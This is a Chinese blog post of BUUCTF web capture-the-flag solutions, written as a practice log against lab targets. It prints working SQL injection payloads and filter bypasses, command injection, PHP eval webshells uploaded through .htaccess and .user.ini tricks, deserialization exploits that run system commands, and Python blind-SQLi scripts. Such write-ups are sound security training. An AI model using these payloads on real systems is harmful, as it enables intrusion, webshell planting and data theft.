文章

BUUCTF Web 刷题记录

BUUCTF Web 刷题记录

重温一下,联系赵总清除以往解题记录即可。

默认排序是解题数从高到低

buu多是比赛题,像xctf、ctfshow、nssctf、helloctf里面那种新手入门题不多

刷完后,就把之前的博文删了,没什么意义了

[极客大挑战 2019]EasySQL

万能密码:2' or 1=1 #

[极客大挑战 2019]Havefun

F12,?cat=dog

[ACTF2020 新生赛]Include

文件包含,并非由于flag.php被渲染,所以需要伪协议编码后输出

?file=php://filter/convert.base64-encode/resource=flag.php

[HCTF 2018]WarmUp

代码审计,我看别的wp要把问号URL二次编码,但我试了一下貌似不需要

/?file=source.php?../../../../../ffffllllaaaagggg

因为checkFile只检查有没有白名单,并不影响if语句里的include $_REQUEST['file'];

[ACTF2020 新生赛]Exec

命令注入

post:target=127.0.0.1;cat /flag

具体我在 yakit 命令注入篇有写的

[GXYCTF2019]Ping Ping Ping

命令执行过滤了空格、若干符号、flag等等,绕过方法在网上搜

1
?ip=id;cat$IFS$9`ls`

然后在网页源代码里找到flag

[SUCTF 2019]EasySQL

需要猜测后端代码

fuzz一下,只有1能出数据,这里猜测限定了表,那就试试查全部

*,1

[极客大挑战 2019]LoveSQL

建议放到Yakit里面做,它可以加url编码标签,直接修改payload,发包时自动编码

虽然做出来了,但是我仍然不喜欢SQLi题目

1
/check.php?username={{urlenc(1' union select database(),version(),(select group_concat(password) from geek.l0ve1ysq1 where username='flag')#)}}&password=1

[极客大挑战 2019]Secret File

考点跟前面一题一样,过滤然后包含,伪协议,base64编码就行,不编码就会被当php文件解析,然后看不到flag

1
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

[强网杯 2019]随便注

做过,又不会了

这题出的很不错

字符型注入,单引号闭合

过滤语句:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

报错注入吧,updatexml不能用了,用extractvalue

1
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#

查表用的语句都被过滤了,这里需要堆叠注入,就是多个命令一起执行,分号隔开

查表

1
-1';show tables#

查字段

-1';desc `1919810931114514`#
或
-1';show columns from `1919810931114514`#
# 注意,以上表名要加反引号

回显有flag字段

目标是执行:select flag from `1919810931114514`

有两种解法

预编译和修改表名列名

预编译:

预编译相关语法如下:

1
2
3
4
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

回显:strstr($inject, "set") && strstr($inject, "prepare")

strstr与stristr不同,前者不区分大小写,所以这里使用大小写绕过

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prePare stmt from @sql;EXECUTE stmt;#

修改表名和列名:

之前的探测已经发现,输入1或2时,输出的就是words表的data列数据

所以把1919810931114514改成words,flag改成 id就可以了。

payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后搜索1或2就没数据了,因为没有这俩id,那就构造真,输出全部内容:1' or 1=1#即可。

[极客大挑战 2019]Http

网页源代码里找到Secret.php,然后就是http头的使用了

看到http还以为是请求走私

[极客大挑战 2019]Upload

题目就检查了尖括号问号、图片头、后缀

我的payload如下:

Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF86a
<script language="PHP">@eval($_POST["a"]);</script>

[极客大挑战 2019]Knife

蚁剑连首页

[ACTF2020 新生赛]Upload

与上面那个upload一样,上传phtml

1
2
3
4
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/png

<script language="PHP">@eval($_POST["a"]);</script>

[极客大挑战 2019]BabySQL

order by的时候,报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der  4#'' at line 1

很明显过滤了关键字,这里双写绕过

密码写:2' oorrder bbyy 4#就行,只有三列

2' ununionion selselectect user(),version(),database()#,后两段可以回显

密码fuzz一下,回显Input your username and password的就是被过滤的关键字

1
and、or、from、where、drop、select、if、union、insert、CHAR、ascii、greatest、substr、sleep、hex、bin、mid、#、*、&、>、<

我现在要执行:

2' union select user(),version(),(select group_concat(schema_name) from information_schema.schemata)#

逐个替换

语句如下:

2' uniunionon selselectect user(),version(),(selselectect group_concat(schema_name) frfromom infoorrmation_schema.schemata)#

然后就都很普通了

最终payload:

2' uniunionon selselectect user(),version(),(selselectect flag frfromom ctf.Flag)#

[极客大挑战 2019]PHP

备份文件www.zip打开是源码,代码审计反序列化

编辑器没全屏,居然没看到index.php下面的include,我还以为没有传参点,出题人太坏了,中间间隔那么大

反序列化参考我转载的文章就行

这题需要username=admin,password=100,但是wakeup会修改username,所以考察绕过wakeup

最简单的绕过就是在对象个数上加1,

这里有两个点需要注意:

  1. password的值是整数100,不是字符串100
  2. 私有属性序列化会在类名两侧添加空字节\0(即%00),但是终端打印时不显示,所以直接复制不行,需要手动添加上去。

最终payload:

1
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[ACTF2020 新生赛]BackupFile

buu没以前好用了,现在一扫就429

扫出index.php.bak

代码审计

php弱比较,1.php==1为true,与in_array类似

payload:/?key=123

[极客大挑战 2019]BuyFlag

源码在payflag.php网页源代码里,网页着重阐述了要成信的学生,可以看到有个cookie值,0改成1就行。

还是弱比较,然后金额用科学计数法

payload:password=404c&money=1e10

[RoarCTF 2019]Easy Calc

网页代码看到calc.php,进去看看是个后端代码

根据前面提示可知,给calc.php传参的话,中间有一层waf。

这个后端过滤的内容并不多,斜杠,各种符号之类。但是那个waf不让传字母。

两种解法:

1、PHP字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

此题中,在num参数之前添加一个空格,WAF会因为这个空格导致检测不到num这个参数,而后端由于PHP的语言特性下会默认删除这个空格,最终导致WAF被绕过,num的参数被执行。

这里要用php的函数读目录和文件,由于后端过滤了斜杠,所以用ASCII绕过,用了ASCII,那么所有字母都要用ASCII,然后连接起来。

读目录:

1
? num=print_r(scandir(chr(47)));

读文件

1
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

这里的print_r可以通var_dump代替。

2、HTTP请求走私

推荐阅读赵佬的初探HTTP Request Smuggling

这里不用前面加空格了,写两遍Content-Length就行

[HCTF 2018]admin

拿到admin密码或者欺骗服务器

看到Cookie,就尝试jwt解密,但是不行。

在修改密码的网页源代码里发现了链接:https://github.com/woadsl1234/hctf_flask/

艹,404

1、弱口令爆破

密码是123

2、伪造admin的flask session

源码里有key,用flask session的加密解密工具。解密cookie,再伪造admin的cookie即可

3、Unicode欺骗

nodeprep.prepare()会进行的转换:

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

Payload:可以注册ᴬᴰᴹᴵᴺ账户 => 登陆一次然后账户变成了ADMIN => 修改一次密码 => session中存入的name字段名字就变成了admin

4、条件竞争

不会

[BJDCTF2020]Easy MD5

响应头给了提示:hint: select * from 'admin' where password=md5($pass,true)

true代表,把那个哈希值转换成字符串

这里找到一个哈希值能凑成条件恒真就可以。

这里用ffifdyop,别问我怎么得到的,我也不知道,赛场上出这种题,谁能做出来啊

这个字符串,md5,true之后有个''or'6,刚好条件恒真。

下一个页面的源码在注释里

明显md5弱比较,md5无法处理数组,会返回null,两个null时全等的。

/levels91.php?a[]=a&b[]=b,这里用科学计数法也是可以的,

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

这里完全可以去寻找明文不同但MD5值为”0exxxxx”

这里提供两个QNKCDZO和s878926199a

故技重施:param1[]=1&param2[]=2

[MRCTF2020]你传你🐎呢

上传.htaccess文件后,上传一个一句话木马图片就行,注意.htaccess的语法。

我传的.htaccess

<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>

一句话木马文件名包含shell就行

[护网杯 2018]easy_tornado

提示了flag在/fllllllllllllag,模板注入,filehash的格式

只修改url里面的filename得到报错,url变成:/error?msg=Error

改成/error?msg={{7*7}},页面内容也变了,虽然不是49,这里就考察题目名所指的框架Tornado了,他的配置是handler.settings,URL写/error?msg={{handler.settings}}即可获得cookie_secret

然后拼接再编码就行了,

[MRCTF2020]Ez_bypass

Ctrl + U观感好点,又是差不多的考点

md5参数是数组结果为null,get传入俩数组就行,post写1234567a之类就行,因为转换成数字对比时,会截取字母之前的数字。

[ZJCTF 2019]NiZhuanSiWei

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这一句,不能直接在get里传字符串,因为file_get_contents是读取文件的,直接传导致他去读取一个叫做“welcome to the zjctf”的文件,但肯定没有这个文件的,所以用data伪协议,告诉PHP不要去读取文件,而是直接返回协议后面的数据内容。

然后提示了useless.php,后面还要反序列化,可这里没有类相关代码,那肯定在useless.php里面,毋庸置疑使用伪协议读取这个文件:

1
/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

然后base64解码后,就能看到源代码

这里没什么考点了,直接生成序列化就行

最终payload:

1
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后看F12

[极客大挑战 2019]HardSQL

好讨厌SQL

过滤了

1
ascii、substr、sleep、hex、benchmark、substring、mid、bin、!、*、|、=、>、*,1、<、空格

还是用上回的报错注入payload,但是要绕一下过滤,空格用括号代替,=用like代替

1
/check.php?username=admin&password=123'or(updatexml(1%2Cconcat((select(concat('~'%2Cversion()%2C'~'%2Cdatabase()))))%2C1))%23

我这里hackbar没有yakit的自动url编码,所以就编码后执行的

查表名

1
/check.php?username=1&password=123'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

其他就类似了,最终查flag:

1
/check.php?username=1&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',password))from(H4rDsq1))),1))#

由于updatexml有长度限制,所以还需要查另一半,substr被过滤了,就使用right函数。right函数是从字符串最右边截取若干字符。

1
/check.php?username=admin&password=123'or(updatexml(1,concat((select(group_concat('~',username,'~',right(password,20)))from(H4rDsq1))),1))#

拼成完整flag即可

[网鼎杯 2020 青龙组]AreUSerialz

很长的题目

简单注释了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php

include "flag.php";

highlight_file(__FILE__);

class FileHandler
{
    protected $op;
    protected $filename;
    protected $content;

    // 构造函数初始化了参数,并且调用process函数
    function __construct()
    {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    // 若op==1则调用write,若==2则调用read
    public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } elseif ($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    // content长度不能大于100,把content写入到filename文件
    private function write()
    {
        if (isset($this->filename) && isset($this->content)) {
            if (strlen((string) $this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if ($res) {
                $this->output("Successful!");
            } else {
                $this->output("Failed!");
            }
        } else {
            $this->output("Failed!");
        }
    }

    // 读取filename的内容
    private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    // 输出传入的参数内容
    private function output($s)
    {
        echo "[Result]: <br>";
        echo $s;
    }

    // __destruct魔术方法,对op、content重新赋值并调用process
    function __destruct()
    {
        if ($this->op === "2") {
            $this->op = "1";
        }
        $this->content = "";
        $this->process();
    }
}

// 验证传入的字符串所有字符都是可打印字符(不包括~)
function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++) {
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {
            return false;
        }
    }
    return true;
}

//GET传入str,验证有效性后反序列化
if (isset($_GET["str"])) {
    $str = (string) $_GET["str"];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

有读有写,要么读文件,要么写木马。

误区:无论读写,难点都在于文件名被初始化,魔术方法把content清空。

这里的构造函数是$op="1",而不是$this->op="1",那它是此函数里的局部变量,而不是对象属性,所以这里的赋值与对象无关。process里的op等对象属性均为null

虽然说这里没有触发destruct的点,但是脚本执行完会执行析构函数,析构函数里面的process会再次执行,覆盖构造函数里process的输出。所以实际上我们还是触发destruct里的process。

destruct函数里是强比较,op必须等于字符串2,而process里是弱比较,op等于整型2或字符串2都可以。这里把op赋值为整型2,就能调用process里的read,而不会触发destruct的赋值。

对protected或private属性赋值,序列化串里会包含:%00*%00字符,%00字符的ASCII码为0,无法通过valid函数。所以不能被正确赋值。技巧:对于PHP版本7.1+,对属性的类型不敏感,把类属性改为public,生成的序列化字符串仍然能给另外两种修饰符的属性赋值。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class FileHandler
{
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
}

$a = new FileHandler();
echo serialize($a);

最终payload:

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

[GXYCTF2019]BabyUpload

不能上传php后缀,那就先上传.htaccess文件,提示类型不对, 修改 Conten-Type 为 image/jpeg 即可

然后上传一句话,把后缀改成 jpg ,它检测<?php,就改成之前那个 js 引用的格式:

<script language="PHP">@eval($_POST["a"]);</script>

蚁剑直接连

[SUCTF 2019]CheckIn

文件后缀过滤,那就上传 jpg,然后通过解析漏洞完成上马

由于有exif_imagetype检测,所以需要添加文件头,图片马第一行写GIF89a?

注意 Conten-Type 为 image/jpeg

这里.htaccess不能用了,需要用到 .user.ini 解析漏洞,详情请见p神:user.ini文件构成的PHP后门

所以上传两个文件即可:

GIF89a?
<script language="php">eval($_POST["a"]);</script>

以及

1
2
GIF89a?
auto_prepend_file=a.jpg

然后访问对应上传路径的 index.php 即可

[GXYCTF2019]BabySQli

返回包有一个编码,base32解码 → base64解码得到:select * from user where username = '$name'

fuzz发现过滤了:xor、information_schema、or、()、=

这是个登录口,但这个sql语句是查数据啊,难道本来就是查数据?我的思路是构造恒真查全部数据,或者堆叠。

但都不行,详情请见:https://blog.csdn.net/qq_45521281/article/details/107167452

那个提示的sql写法意思是查全部数据,然后比对密码,也就是说账号密码分开检验

那就可以用union select创造虚拟数据,然后输入密码时也就能查询到临时的虚拟数据。

最终登录payload:searc.php

1
name=1' union select 1,'admin','c20ad4d76fe97759aa27a0c99bff6710'#&pw=12

[GYCTF2020]Blacklist

单引号闭合,两行数据

过滤:

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠查询:

1
2
3
4
查库:
/?inject=-1';show databases;#
查表:
/?inject=-1';show tables from supersqli;#

查数据用的select被过滤了,并且用 /**/ 也没绕过。这里用一个知识点:

HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

所以有两种写法,分别是读第一行和读每一行:

1
2
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;

最终payload:

1
/?inject=-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

[RoarCTF 2019]Easy Java

第一页的最后一题居然是 Java

前面都是注入,这里有给了登陆框,但我怎么注都没有反应,算了。

网页源代码有个 help.docx ,但是点击发现没有此文件,他的路径是:/Download?filename=help.docx。猜测就是任意文件读取,但是文件都不存在。

这里开脑洞,把请求方法改成post,即可下载文件。

所以后面扫文件,就用post方法,用 java 语言的字典,快一些,如果熟悉 java 开发的话一定了解 WEB-INF/web.xml,然后下载此文件,就是项目配置文件

flag部分是:

1
2
3
4
5
6
7
8
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

<servlet-class> 标签中指定的 com.wm.ctf.FlagController 就是该 Servlet 对应的 Java 类的完全限定名(Fully Qualified Class Name)。

  • 该类的源文件(.java)位于项目的 com/wm/ctf/ 目录结构下,文件名为 FlagController.java
  • 编译后的字节码文件(.class)通常会位于 Web 应用的 WEB-INF/classes/com/wm/ctf/ 目录下,文件名为 FlagController.class

所以,根据这个配置,FlagController.class 文件在服务器上的路径通常是 WEB-INF/classes/com/wm/ctf/FlagController.class

那个<servlet-mapping>标签是设置网络路由,这里代表路径部分匹配 /Flag 时,Web 容器(如 Tomcat)就会找到名为 FlagController 的 Servlet(即 com.wm.ctf.FlagController 类),并由它来处理这个请求。

所以,这里我们下载class文件

payload:

1
/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打开有个字符串,base64解码。

[CISCN2019 华北赛区 Day2 Web1]Hack World

过滤了空格,还有or之类

sqlmap命令:py sqlmap.py -r "C:\Users\Tajang\Desktop\req.txt" --batch --level 5 -p id

显示了时间盲注,但后面注不出来,不知道为什么。拿着它的payload可以用:ELT(4511=4511,SLEEP(5))

改造成:id=ELT((ascii(substr(database(),1,1))>1),SLEEP(5))

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

url="http://3ad70672-fb32-404c-a33c-9cebd892d799.node5.buuoj.cn:81/index.php"
def timb():
    value=""
    for i in range(1,50):
        left=32
        right=127
        mid=(right+right)//2
        while left<right:
            payload={
                # 'id':'ELT((ascii(substr(database(),%d,1))>%d),SLEEP(3))' %(i,mid)
                'id':'ELT((ascii(substr((select(flag)from(ctftraining.flag)),%d,1))>%d),SLEEP(3))' %(i,mid)
            }
            start_time=time.time()
            res=requests.post(url,data=payload)
            end_time=time.time()
            sub_time=end_time-start_time
            if sub_time>2.5:
                left=mid+1
            else :
                right=mid
            mid=(left+right)//2
        value+=chr(mid)
        print(value)


if __name__ == "__main__":
    timb()

库跑出来是ctftraining,遇到个很蠢的事情,我每次就跑一半出来,我用group_concat被过滤了。然后以为另一半在第二行,要用where id =2获取,谁知道是我的循环太少了,只获取到前20个,所以这里改成50。

本来不会的,没想到sqlmap给了思路,但是我忘了时间盲注如何判断时间,于是搜了一下

没想到绕过空格有那么多方法:%09 %0a %0b %0c %0d

[BSidesCF 2020]Had a bad day

还以为是sql注入,sqlmap居然提示我可能是FI,文件包含。。。

我在手动注入的时候,写了woofers',回显:

1
2
3
Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

看到他居然include,并且自动补充了.php,这里能确定是文件包含了。

这里用伪协议,我居然忘了具体怎么写,而且写的很乱:

1
php://filter/convert.base64-encode/resource=index

然后就加载了出来了,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        include ($file . '.php');
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

看到就是让我们加载index的。这里既要通过条件,又要加载flag.php可以用目录穿越的方式:

1
category=woofers/../flag

但是没报错,也没动静,返回略微有差距,那就是因为php代码不显示。这里用到一个trick,php伪协议是可以包一层协议的,就算没有也没事。

1
category=php://filter/convert.base64-encode/woofers/resource=flag

这样就出了,好笑的是category=woofers/../index可以无限循环包含,风扇转起来了 [网鼎杯 2020 朱雀组]phpweb


这里说什么date函数不行,根据提示换成date.timezone,但是又报错:

1
:  call_user_func() expects parameter 1 to be a valid callback, function 'date.timezone' not found or invalid function name in <b>/var/www/html/index.php

所以能看出来前面是函数名,后面是参数,这里过滤太多函数,但是file_get_contents没有,所以直接读flag。,但是都不成功,这里读源码:

1
func=file_get_contents&p=index.php

这样看起来不好分辨,所以用伪协议:

1
func=file_get_contents&p=php://filter/convert.base64-encode/resource=index.php

我这里尝试过scandir、print_r、readfile、getenv都不好用,无法读目录,所以看看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "eval", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk",  "array_map", "registregister_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents");
function gettime($func, $p)
{
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test
{
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct()
    {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

这里不会了,看了wp才知道,居然传入unserialize函数,参数写序列化字符串。

因为这里的Test类就是给我们用的,从头到尾没有他的参与,那个p和func是有个表单偷偷在提交,并不是Test类里的。思路就是直接调用类里的魔术方法完成命令执行,就不经过if (!in_array($func,$disable_fun))

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Test
{
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct()
    {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a=new Test();
$a->func="system";
$a->p="ls /";

echo urlencode(serialize($a));

进去发现怎么找都没有flag,这里查找所有文件:

1
2
3
find / |grep flag
或者用
find / -name *flag*

找到了:/tmp/flagoefiu4r93

所以读取,最终payload:

1
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

[网鼎杯 2018]Fakebook

注册完用户点进去,卡死了。。。重启靶机

重新注册再抓包,点进用户,路径是:/view.php?no=1,还是一直转圈。看了wp,再次重启,不注册用户,直接访问路径就行

然后sql注入,sqlmap注不出来,麻烦

判断列数、联合注入

1
2
?no=1 order by 4#
?no=1 union/**/select 1,2,3,4#

这里union select被过滤了,而且只能通过内联注释绕过

第二位会在username那里有回显

1
2
3
4
5
6
7
# 爆库 fakebook
?no=1 union/**/select 1,database(),3,4#
# 爆表 users
?no=1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
# 爆字段 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
?no=1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4#
# 爆数据失败,好像全是空

这里看wp说,应该回显php序列化字符串,但我是空白,只能当它回显了

出现flag.php和robots.txt,robots提示了user.php.bak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

没咋看懂,但大致意思明白了,curl初始化,定义请求的url,有个执行命令curl_exec会执行$ch,而这个对象的url是传参进来的。往下看,就是getBlogContents调用了这个get,然后把blog传递了进来。

所以思路就是把blog设置为文件路径,让curl去请求。然后就return output了。

payload:

1
2
3
4
5
6
7
8
9
10
11
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo urlencode(serialize($a));

因为之前反序列化字符串应该显示在blog那里,所以这里放在第四列,由于是查询字符串,所以用引号包裹住:

这里必须用单引号,一是因为序列化字符串内部双引号过多会乱掉,二是因为单引号才是标准字符串,双引号因为配置可能有不同含义。

1
?no=1 union/**/select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22age%22%3Bi%3A0%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'#

flag在源代码里,以base64图片格式显示,把字符串base64解码就行

这里还有个技巧:

查当前用户:?no=1 union/**/select 1,user(),3,4;#,回显root@localhost,权限很高,可以直接用load_file函数加载flag.php:

1
?no=1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4;#

源代码里就能直接看到flag,不用各种反序列化操作。注意,load_file参数必须是绝对路径


[WUSTCTF2020]颜值成绩查询

临时做一下,复习python盲注脚本。

输入1、2、3、4有返回,其他没有,以此构建语句,我之前写过,还骂人了。引用一下:

在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入1^表达式^1,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:

1
1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1

这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0

看着非常巧妙是不是?但我不用

为什么呢?为什么呢?为什么呢?

因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。

这句话明明可以精简,1^表达式^1表达式真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2),表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)

注意这题过滤了空格,括号绕过可以,省略符号绕过也可以

我不看自己wp,居然都忘了这题怎么做

这里就用(ascii(substr(database(),1,1))>10)这种格式做吧,比较是默认返回1或0的,如果题目是其他值,比如cc,那就可以用cc/**/and(ascii(substr(database(),1,1))>10) 这种。

然后就是二分法,之前那个太冗长了,这里缩成一个,用那个解注释就行

因为python是左闭右开区间,ASCII有效是32-126,这里写32-127

数据库长度用(length(database())>2)判断就行,长度为3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
suscess_message="your score is"
url="http://5cd7f71b-249d-4d53-8904-6058e4abf016.node5.buuoj.cn:81/?stunum="
def blindsql():
    value=""
    # 爆库:range(1,10),其他就range(1,50)吧,一般够长了
    for i in range(1,10):
        left=32
        right=127
        mid =(left+right)//2
        while left < right:
            payload=url+'(ascii(substr(database(),%d,1))>%d)' % (i,mid)
            # 爆表名 payload = url+'(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))>%d)' % (i,mid)
            # 爆字段名 payload = url + "(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),%d,1))>%d)" % (i,mid)
            # 爆数据 payload = url + "(ascii(substr((select/**/value/**/from/**/ctf.flag),%d,1))>%d)" % (i,mid)
            res=requests.get(payload)
            if (suscess_message in res.text):
                left=mid+1
            else :
                right=mid
            mid =(left+right)//2
            # time.sleep(0.2) 题目有速度限制,爆字段再开这个
        value+=chr(mid)
        print(value)

if __name__=="__main__":
    blindsql()



本文由作者按照 CC BY 4.0 进行授权